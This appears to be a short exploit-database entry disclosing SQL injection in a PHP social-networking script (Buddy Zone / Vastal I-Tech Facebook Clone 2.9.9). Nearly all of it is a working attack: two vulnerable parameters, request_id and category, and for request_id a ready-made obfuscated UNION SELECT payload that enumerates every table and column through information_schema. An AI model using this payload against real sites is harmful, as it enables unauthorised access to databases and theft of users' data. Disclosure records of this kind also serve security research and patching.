Buddy Zone 2.9.9 - SQL Injection

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# Exploit Title: Vastal I-Tech Facebook Clone 2.9.9 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://vastal.com/
# Software Link: http://vastal.com/buddy-zone-social-networking-script.html
# Version: 2.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an users to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/chat_im/chat_window.php?request_id=[SQL]
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# -551++/*!13337UNION*/+/*!13337SELECT*/+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6,7,8,9--+-
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# http://localhost/[PATH]/search_events.php?category=[SQL]
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